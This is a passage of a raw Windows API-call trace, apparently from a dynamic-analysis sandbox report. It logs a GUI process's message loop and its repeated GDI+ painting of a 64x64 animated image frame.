(color=0xffffff) returned 0x22100190 [0170.488] FillRect (hDC=0x5a0106c6, lprc=0x15d7c0, hbr=0x22100190) returned 1 [0170.488] DeleteObject (ho=0x22100190) returned 1 [0170.488] RestoreDC (hdc=0x5a0106c6, nSavedDC=-1) returned 1 [0170.488] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.488] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5a0106c6) returned 0x0 [0170.489] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffba20dbd) returned 0x0 [0170.489] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.489] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0170.489] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0170.489] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0170.489] GetSystemMetrics (nIndex=42) returned 0 [0170.489] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0170.489] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0170.489] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0170.489] CoTaskMemFree (pv=0x1e91eca0) [0170.489] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0170.489] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0170.489] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0170.489] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0170.489] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5a0106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0170.490] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.490] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5a0106c6) returned 0x0 [0170.490] SelectObject (hdc=0x5a0106c6, h=0x185000f) returned 0x1a05067e [0170.490] DeleteDC (hdc=0x5a0106c6) returned 1 [0170.490] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.490] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0170.490] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0170.490] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0170.490] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0170.490] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0170.490] WaitMessage () returned 1 [0170.710] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0170.710] IsWindowUnicode (hWnd=0x2031e) returned 1 [0170.710] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0170.710] TranslateMessage (lpMsg=0x15e910) returned 0 [0170.710] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0170.711] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0170.711] GetCurrentThreadId () returned 0xec0 [0170.711] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0170.711] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0170.711] IsWindowUnicode (hWnd=0x2031e) returned 1 [0170.711] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0170.711] TranslateMessage (lpMsg=0x15e910) returned 0 [0170.711] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0170.711] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0170.711] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0170.711] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5b0106c6 [0170.712] SelectObject (hdc=0x5b0106c6, h=0x1a05067e) returned 0x185000f [0170.712] GdipCreateFromHDC (hdc=0x5b0106c6, graphics=0x15daf0) returned 0x0 [0170.712] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0170.712] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0170.712] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0170.712] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0170.712] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0170.712] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.712] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0170.713] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.713] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.713] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0170.713] GdipCreateRegion (region=0x15dc20) returned 0x0 [0170.714] GdipGetClip (graphics=0x1de4fd10, region=0x1d2e7c10) returned 0x0 [0170.714] GdipIsInfiniteRegion (region=0x1d2e7c10, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0170.714] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0170.714] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0170.714] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0170.714] GetSystemMetrics (nIndex=42) returned 0 [0170.714] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0170.714] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0170.714] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0170.714] CoTaskMemFree (pv=0x1e91eca0) [0170.714] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0170.714] GdipCreateRegion (region=0x15d710) returned 0x0 [0170.715] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0170.715] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0170.715] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0170.715] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0170.715] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.715] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0170.715] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.715] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1d2e7c10, combineMode=0x1) returned 0x0 [0170.716] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.716] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0170.716] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.716] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.716] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0170.716] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0170.716] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0170.716] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0170.716] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.717] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0170.717] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0170.717] GetCurrentObject (hdc=0x5b0106c6, type=0x1) returned 0x1b00017 [0170.717] GetCurrentObject (hdc=0x5b0106c6, type=0x2) returned 0x1900010 [0170.717] GetCurrentObject (hdc=0x5b0106c6, type=0x7) returned 0x1a05067e [0170.717] GetCurrentObject (hdc=0x5b0106c6, type=0x6) returned 0x18a002e [0170.717] SaveDC (hdc=0x5b0106c6) returned 1 [0170.717] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x1b040b8a [0170.717] GetClipRgn (hdc=0x5b0106c6, hrgn=0x1b040b8a) returned 0 [0170.717] SelectClipRgn (hdc=0x5b0106c6, hrgn=0x4b0407c3) returned 2 [0170.717] DeleteObject (ho=0x1b040b8a) returned 1 [0170.718] DeleteObject (ho=0x4b0407c3) returned 1 [0170.718] OffsetViewportOrgEx (in: hdc=0x5b0106c6, x=0, y=0, lppt=0x2745130 | out: lppt=0x2745130) returned 1 [0170.718] GetNearestColor (hdc=0x5b0106c6, color=0xffffff) returned 0xffffff [0170.718] CreateSolidBrush (color=0xffffff) returned 0x23100190 [0170.718] FillRect (hDC=0x5b0106c6, lprc=0x15d7c0, hbr=0x23100190) returned 1 [0170.718] DeleteObject (ho=0x23100190) returned 1 [0170.718] RestoreDC (hdc=0x5b0106c6, nSavedDC=-1) returned 1 [0170.718] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.719] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5b0106c6) returned 0x0 [0170.719] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffba00dbd) returned 0x0 [0170.719] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.719] GdipDeleteRegion (region=0x1d2e7c10) returned 0x0 [0170.719] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0170.719] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0170.719] GetSystemMetrics (nIndex=42) returned 0 [0170.719] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0170.719] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0170.719] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0170.719] CoTaskMemFree (pv=0x1e91eca0) [0170.719] GdipImageSelectActiveFrame (image=0x1dc21b40, dimensionID=0x15db10*(Data1=0x6aedbd6d, Data2=0x3fb5, Data3=0x418a, Data4=([0]=0x83, [1]=0xa6, [2]=0x7f, [3]=0x45, [4]=0x22, [5]=0x9d, [6]=0xc8, [7]=0x72)), frameIndex=0x1a) returned 0x0 [0170.721] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0170.721] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0170.722] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0170.722] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0170.722] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5b0106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0170.722] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.722] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5b0106c6) returned 0x0 [0170.722] SelectObject (hdc=0x5b0106c6, h=0x185000f) returned 0x1a05067e [0170.722] DeleteDC (hdc=0x5b0106c6) returned 1 [0170.722] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.722] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0170.722] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0170.723] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0170.723] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0170.723] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0170.723] WaitMessage () returned 1 [0170.965] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0170.965] IsWindowUnicode (hWnd=0x2031e) returned 1 [0170.965] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0170.965] TranslateMessage (lpMsg=0x15e910) returned 0 [0170.965] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0170.965] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0170.965] GetCurrentThreadId () returned 0xec0 [0170.965] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0170.965] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0170.965] IsWindowUnicode (hWnd=0x2031e) returned 1 [0170.965] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0170.965] TranslateMessage (lpMsg=0x15e910) returned 0 [0170.965] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0170.965] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0170.966] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0170.966] CreateCompatibleDC (hdc=0x1010b9d) returned 0x5d0106c6 [0170.966] SelectObject (hdc=0x5d0106c6, h=0x1a05067e) returned 0x185000f [0170.966] GdipCreateFromHDC (hdc=0x5d0106c6, graphics=0x15daf0) returned 0x0 [0170.966] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0170.966] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0170.966] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0170.966] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0170.966] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0170.967] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.967] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0170.967] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.967] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.967] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0170.968] GdipCreateRegion (region=0x15dc20) returned 0x0 [0170.968] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0170.968] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0170.968] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0170.968] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0170.968] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0170.968] GetSystemMetrics (nIndex=42) returned 0 [0170.968] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0170.968] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0170.968] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0170.968] CoTaskMemFree (pv=0x1e91eca0) [0170.968] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0170.969] GdipCreateRegion (region=0x15d710) returned 0x0 [0170.969] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0170.969] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0170.969] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0170.969] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0170.969] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.969] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0170.969] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.970] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0170.970] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0170.970] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0170.970] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0170.970] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.970] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0170.971] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0170.971] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0170.971] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0170.971] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.971] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0170.971] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0170.971] GetCurrentObject (hdc=0x5d0106c6, type=0x1) returned 0x1b00017 [0170.971] GetCurrentObject (hdc=0x5d0106c6, type=0x2) returned 0x1900010 [0170.971] GetCurrentObject (hdc=0x5d0106c6, type=0x7) returned 0x1a05067e [0170.971] GetCurrentObject (hdc=0x5d0106c6, type=0x6) returned 0x18a002e [0170.971] SaveDC (hdc=0x5d0106c6) returned 1 [0170.971] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x4c0407c3 [0170.971] GetClipRgn (hdc=0x5d0106c6, hrgn=0x4c0407c3) returned 0 [0170.972] SelectClipRgn (hdc=0x5d0106c6, hrgn=0x1c040b8a) returned 2 [0170.972] DeleteObject (ho=0x4c0407c3) returned 1 [0170.972] DeleteObject (ho=0x1c040b8a) returned 1 [0170.972] OffsetViewportOrgEx (in: hdc=0x5d0106c6, x=0, y=0, lppt=0x2746430 | out: lppt=0x2746430) returned 1 [0170.972] GetNearestColor (hdc=0x5d0106c6, color=0xffffff) returned 0xffffff [0170.972] CreateSolidBrush (color=0xffffff) returned 0x24100190 [0170.972] FillRect (hDC=0x5d0106c6, lprc=0x15d7c0, hbr=0x24100190) returned 1 [0170.972] DeleteObject (ho=0x24100190) returned 1 [0170.972] RestoreDC (hdc=0x5d0106c6, nSavedDC=-1) returned 1 [0170.972] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.973] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5d0106c6) returned 0x0 [0170.973] GdipRestoreGraphics (graphics=0x1de4fd10, state=0xfffffffffb9e0dbd) returned 0x0 [0170.973] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.973] GdipDeleteRegion (region=0x1de43de0) returned 0x0 [0170.973] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0170.973] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0170.973] GetSystemMetrics (nIndex=42) returned 0 [0170.973] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0170.973] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0170.973] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0170.973] CoTaskMemFree (pv=0x1e91eca0) [0170.973] GdipGetImageWidth (image=0x1dc21b40, width=0x15da30) returned 0x0 [0170.973] GdipGetImageHeight (image=0x1dc21b40, height=0x15da30) returned 0x0 [0170.973] GdipDrawImageRectI (graphics=0x1de4fd10, image=0x1dc21b40, x=0, y=0, width=64, height=64) returned 0x0 [0170.973] GdipGetDC (graphics=0x1de4fd10, hdc=0x15dbf0) returned 0x0 [0170.974] BitBlt (hdc=0x1010b9d, x=0, y=0, cx=64, cy=64, hdcSrc=0x5d0106c6, x1=0, y1=0, rop=0xcc0020) returned 1 [0170.974] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.974] GdipReleaseDC (graphics=0x1de4fd10, hdc=0x5d0106c6) returned 0x0 [0170.974] SelectObject (hdc=0x5d0106c6, h=0x185000f) returned 0x1a05067e [0170.974] DeleteDC (hdc=0x5d0106c6) returned 1 [0170.974] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0170.974] GdipDeleteGraphics (graphics=0x1de4fd10) returned 0x0 [0170.974] SelectPalette (hdc=0x1010b9d, hPal=0x188000b, bForceBkgd=0) returned 0x32080181 [0170.974] EndPaint (hWnd=0x2031e, lpPaint=0x15dcf8) returned 1 [0170.974] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0170.974] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0170.974] WaitMessage () returned 1 [0171.087] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0171.087] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x702f6, Msg=0x3e0, wParam=0x5029e, lParam=0xffffffffc16ec16d) returned 0x0 [0171.087] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 0 [0171.087] WaitMessage () returned 1 [0171.090] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0171.091] IsWindowUnicode (hWnd=0x2031e) returned 1 [0171.091] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0171.091] TranslateMessage (lpMsg=0x15e910) returned 0 [0171.091] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0171.091] GetWindowThreadProcessId (in: hWnd=0x2031e, lpdwProcessId=0x15d660 | out: lpdwProcessId=0x15d660) returned 0xec0 [0171.091] GetCurrentThreadId () returned 0xec0 [0171.091] InvalidateRect (hWnd=0x2031e, lpRect=0x0, bErase=1) returned 1 [0171.091] PeekMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x15e900) returned 1 [0171.091] IsWindowUnicode (hWnd=0x2031e) returned 1 [0171.091] GetMessageW (in: lpMsg=0x15e900, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x15e900) returned 1 [0171.091] TranslateMessage (lpMsg=0x15e910) returned 0 [0171.091] DispatchMessageW (lpMsg=0x15e910) returned 0x0 [0171.091] BeginPaint (in: hWnd=0x2031e, lpPaint=0x15dce8 | out: lpPaint=0x15dce8) returned 0x1010b9d [0171.091] SelectPalette (hdc=0x1010b9d, hPal=0x32080181, bForceBkgd=1) returned 0x188000b [0171.092] CreateCompatibleDC (hdc=0x1010b9d) returned 0x630106c6 [0171.092] SelectObject (hdc=0x630106c6, h=0x1a05067e) returned 0x185000f [0171.092] GdipCreateFromHDC (hdc=0x630106c6, graphics=0x15daf0) returned 0x0 [0171.092] GdipTranslateWorldTransform (graphics=0x1de4fd10, dx=0x0, dy=0x7fef2dbba58, order=0x0) returned 0x0 [0171.092] GdipSetClipRectI (graphics=0x1de4fd10, x=0, y=0, width=64, height=64, combineMode=0x0) returned 0x0 [0171.092] GdipCreateMatrix (matrix=0x15dc20) returned 0x0 [0171.092] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a510) returned 0x0 [0171.092] GdipIsMatrixIdentity (matrix=0x1dc0a510, result=0x15dc80) returned 0x0 [0171.092] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0171.092] GdipGetMatrixElements (matrix=0x1dc0a510, matrixOut=0x1e7b48a0) returned 0x0 [0171.093] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0171.093] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.093] GdipDeleteMatrix (matrix=0x1dc0a510) returned 0x0 [0171.093] GdipCreateRegion (region=0x15dc20) returned 0x0 [0171.093] GdipGetClip (graphics=0x1de4fd10, region=0x1de43de0) returned 0x0 [0171.093] GdipIsInfiniteRegion (region=0x1de43de0, graphics=0x1de4fd10, result=0x15dc50) returned 0x0 [0171.093] GdipSaveGraphics (graphics=0x1de4fd10, state=0x15dd20) returned 0x0 [0171.093] GetWindowTextLengthW (hWnd=0x2031e) returned 0 [0171.094] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0171.094] GetSystemMetrics (nIndex=42) returned 0 [0171.094] CoTaskMemAlloc (cb=0x6) returned 0x1e91eca0 [0171.094] GetWindowTextW (in: hWnd=0x2031e, lpString=0x1e91eca0, nMaxCount=1 | out: lpString="") returned 0 [0171.094] CallWindowProcW (lpPrevWndFunc=0x772ab0ac, hWnd=0x2031e, Msg=0xd, wParam=0x1, lParam=0x1e91eca0) returned 0x0 [0171.094] CoTaskMemFree (pv=0x1e91eca0) [0171.094] GetClientRect (in: hWnd=0x2031e, lpRect=0x15dc80 | out: lpRect=0x15dc80) returned 1 [0171.094] GdipCreateRegion (region=0x15d710) returned 0x0 [0171.094] GdipGetClip (graphics=0x1de4fd10, region=0x1de43ea0) returned 0x0 [0171.094] GdipCreateMatrix (matrix=0x15d710) returned 0x0 [0171.094] GdipGetWorldTransform (graphics=0x1de4fd10, matrix=0x1dc0a590) returned 0x0 [0171.094] GdipIsMatrixIdentity (matrix=0x1dc0a590, result=0x15d770) returned 0x0 [0171.094] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0171.094] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0171.095] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0171.095] GdipCombineRegionRegion (region=0x1de43ea0, region2=0x1de43de0, combineMode=0x1) returned 0x0 [0171.095] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x1e7b48a0 [0171.095] GdipGetMatrixElements (matrix=0x1dc0a590, matrixOut=0x1e7b48a0) returned 0x0 [0171.096] LocalFree (hMem=0x1e7b48a0) returned 0x0 [0171.096] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.096] GdipDeleteMatrix (matrix=0x1dc0a590) returned 0x0 [0171.096] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d7c0) returned 0x0 [0171.096] GdipIsInfiniteRegion (region=0x1de43ea0, graphics=0x1de4fd10, result=0x15d780) returned 0x0 [0171.096] GdipGetRegionHRgn (region=0x1de43ea0, graphics=0x1de4fd10, hRgn=0x15d780) returned 0x0 [0171.096] FindAtomW (lpString="GDI+Atom_3772_1") returned 0xc000 [0171.096] GdipDeleteRegion (region=0x1de43ea0) returned 0x0 [0171.096] GdipGetDC (graphics=0x1de4fd10, hdc=0x15d7f0) returned 0x0 [0171.096] GetCurrentObject (hdc=0x630106c6, type=0x1) returned 0x1b00017 [0171.097] GetCurrentObject (hdc=0x630106c6, type=0x2) returned 0x1900010 [0171.097] GetCurrentObject (hdc=0x630106c6, type=0x7) returned 0x1a05067e 